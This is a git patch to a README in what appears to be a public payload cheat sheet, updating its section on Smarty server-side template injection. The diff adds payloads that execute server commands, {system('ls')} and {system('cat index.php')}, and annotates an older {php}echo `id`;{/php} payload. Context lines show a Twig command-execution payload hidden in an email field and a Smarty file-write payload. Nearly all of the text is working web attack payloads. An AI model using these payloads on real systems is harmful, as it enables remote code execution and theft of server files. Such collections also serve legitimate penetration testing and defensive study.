From 367296c1f14157304000e1895510aebb30461417 Mon Sep 17 00:00:00 2001 From: mpgn Date: Thu, 20 May 2021 16:42:51 +0200 Subject: [PATCH] Update Smarty Template Injection --- Server Side Template Injection/README.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/Server Side Template Injection/README.md b/Server Side Template Injection/README.md index 6161352..43a98a0 100644 --- a/Server Side Template Injection/README.md +++ b/Server Side Template Injection/README.md @@ -233,8 +233,10 @@ email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld ```python {$smarty.version} -{php}echo `id`;{/php} +{php}echo `id`;{/php} //deprecated in smarty v3 {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"",self::clearConfig())} +{system('ls')} // compatible v3 +{system('cat index.php')} // compatible v3 ``` ## Freemarker